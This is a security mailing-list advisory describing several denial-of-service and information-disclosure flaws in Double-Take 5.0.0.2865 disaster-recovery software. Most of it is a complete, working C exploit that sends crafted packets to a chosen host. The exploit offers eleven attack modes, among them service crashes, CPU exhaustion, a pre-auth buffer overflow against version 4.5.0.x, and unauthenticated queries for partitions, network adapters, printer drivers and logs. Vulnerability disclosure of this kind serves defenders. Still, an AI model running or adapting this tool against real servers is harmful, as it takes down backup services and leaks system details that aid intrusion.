[NT] Double-Take Multiple Vulnerabilities



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Double-Take Multiple Vulnerabilities
------------------------------------------------------------------------


SUMMARY

<http://www.doubletake.com> Double-Take is "a disaster recovery and
backup software distribuited also under other different names depending by
the company which distribuites it like for example HP StorageWorks Storage
Mirroring (where version 4.5.0.1629 is vulnerable to a pre-auth buffer
overflow)". Multiple vulnerabilities have been discovered in Double-Take's
product.

DETAILS

Vulnerable Systems:
* Double-Take version 5.0.0.2865

Server termination through "vector<T> too long" exception
The Double-Take service can be terminated through an exception raised when
the size of a "vector<T>" value is bigger than how much supported. Exist
different ways for exploiting this vulnerability anyway the main two
arbitrary effects are the "vector<T> too long" exception or CPU at 100%.

NULL pointer crash
The server can be crashed through malformed packets (like 0x2722 and
0x272a) which cause the access to a NULL pointer.

Termination through memory allocation
An error with some packets allows to allocate a partially arbitrary amount
of memory with the possibility to crash the process when no additional
memory is available.

Informations disclosure
The server sends various types of informations to any unauthenticated
user, for example the running operating system and the program's paths
with packet 0x2728, the Ethernet adapters with packet 0x274e, all the
partitions and their types of filesystem with packet 0x2726, the printer
driver with 0x274f and the latest log entries using packet 0x2757.

Other exceptions
There exist also additional problems mainly exploitable through packet
0x2719 which cause respectively a "ospace/time/src\date.cpp" exception and
the recursive calling of a function which fills the available stack and
causes the silent termination of the service.

Exploit:
/*

by Luigi Auriemma - http://aluigi.org/poc/doubletakedown.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;



#define VER "0.1"
#define PORT 1100
#define BUFFSZ 8192
#define BOFSZ 4000



int putsh(u8 *dst, u8 *str);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u64 *ret, int bits);
int putxx(u8 *data, u64 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack;
u16 port = PORT;
u8 buff[BUFFSZ],
*p;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Double-Take <= 5.0.0.2865 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attacks:\n"
" 1 = \"vector<T> too long\" exception\n"
" 2 = CPU at 100%%\n"
" 3 = NULL pointer access\n"
" 4 = crash caused by unallocable memory\n"
" 5 = \"ospace/time/src\\date.cpp\" exception\n"
" 6 = recursive stack filling\n"
" 7 = Double-Take 4.5.0.x pre-auth buffer-overflow\n"
" 8 = info about partitions\n"
" 9 = info about network adapters\n"
" 10 = info about printer drivers\n"
" 11 = info about latest logs\n"
"\n", argv[0], port);
exit(1);
}

attack = atoi(argv[1]);

if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

p = buff;
p += putxx(p, 2, 16);
p += putxx(p, 1, 16);
if(attack == 1) {
printf("- \"vector<T> too long\" exception\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 8, 16); // bad value
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putsh(p, "encrypted_username");
p += putsh(p, "");
p += putsh(p, "encrypted_password");
p += putsh(p, "");
p += putsh(p, "encrypted_domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?

} else if(attack == 2) {
printf("- CPU at 100%%\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, -1, 16); // bad value
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putsh(p, "encrypted_username");
p += putsh(p, "");
p += putsh(p, "encrypted_password");
p += putsh(p, "");
p += putsh(p, "encrypted_domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?

} else if(attack == 3) {
printf("- NULL pointer access\n");
p += putxx(p, 0x2722, 16); // 0x2722 and 0x272a
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 64); // for 0x272a

} else if(attack == 4) {
printf("- crash caused by unallocable memory\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 'a', 5000); // tries to allocate tons of stuff

} else if(attack == 5) {
printf("- \"ospace/time/src\\date.cpp\" exception\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, 100);

} else if(attack == 6) {
printf("- recursive stack filling\n");
p += putxx(p, 0x2719, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 1, 1000);

} else if(attack == 7) {
printf("- Double-Take 4.5.0.x pre-auth buffer-overflow\n");
p += putxx(p, 0x2730, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 7, 32);
p += putxx(p, 1, 32);
p += putxx(p, BOFSZ, 16);
p += putcc(p, 'A', BOFSZ * 2); // username, yes I know that is
required to encode a bit the unicode values (to avoid 0x41b141b1) but this
is only for quickly showing an old bug
p += putsh(p, "");
p += putsh(p, "password");
p += putsh(p, "");
p += putsh(p, "domain");
p += putsh(p, "");
p += putxx(p, 0, 64); // unused?

} else {
switch(attack) {
case 8: p += putxx(p, 0x2726, 16); break;
case 9: p += putxx(p, 0x274e, 16); break;
case 10: p += putxx(p, 0x274f, 16); break;
case 11: p += putxx(p, 0x2757, 16); break;
default: {
printf("\nError: wrong attack number\n");
exit(1);
}
}
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 64);
p += putxx(p, 0, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 1, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, 8); // only for 0x274f
}

printf("- send packet\n");
send(sd, buff, p - buff, 0);

printf("- receive and visualize data:\n";);
while(!timeout(sd, 3)) {
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
show_dump(buff, len, stdout);
}

close(sd);
printf("- done\n");
return(0);
}



int putsh(u8 *dst, u8 *str) {
int len;
u8 *p,
*s;

len = strlen(str);
p = dst;
p += putxx(p, len, 16); // yes I know it's not perfect for the 4.x
version
for(s = str; len--; s++) {
*p++ = *s;
*p++ = 0;
}
return(p - dst);
}



int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}



int getxx(u8 *data, u64 *ret, int bits) {
u64 num;
int i,
bytes;

bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}



int putxx(u8 *data, u64 num, int bits) {
int i,
bytes;

bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}



int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}



u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/doubletakedown-adv.txt>
http://aluigi.altervista.org/adv/doubletakedown-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NT] Georgia SoftWorks SSH2 Server Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Georgia SoftWorks SSH2 Server Multiple Vulnerabilities ... void bigstr(u8 *dst, int chr, int len); ...
    (Securiteam)
  • [NT] Simbin Racing Games Players Disconnection
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Simbin Racing Games Players Disconnection ... an UDP packet of zero bytes sent to ... int main{ ...
    (Securiteam)
  • [NT] Perforce Server Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Perforce Server Multiple Vulnerabilities ... vulnerabilities have been discovered in the Perforce Server. ... int p4_send; ...
    (Securiteam)
  • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
    (Securiteam)
  • [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cfservd daemon in Cfengine 2.x prior to version 2.0.8. ... unsigned int len = 0; ... void getshell; ...
    (Securiteam)